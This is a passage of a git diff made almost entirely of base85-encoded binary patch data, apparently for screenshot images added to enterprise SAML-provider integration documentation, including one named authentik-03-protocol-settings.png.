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 literal 0 HcmV?d00001 diff --git a/enterprise/integrations/saml-providers/images/authentik-03-protocol-settings.png b/enterprise/integrations/saml-providers/images/authentik-03-protocol-settings.png new file mode 100644 index 0000000000000000000000000000000000000000..a2df506c6c2d75b15754a7adbbe8e82675b6fb68 GIT binary patch literal 91582 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 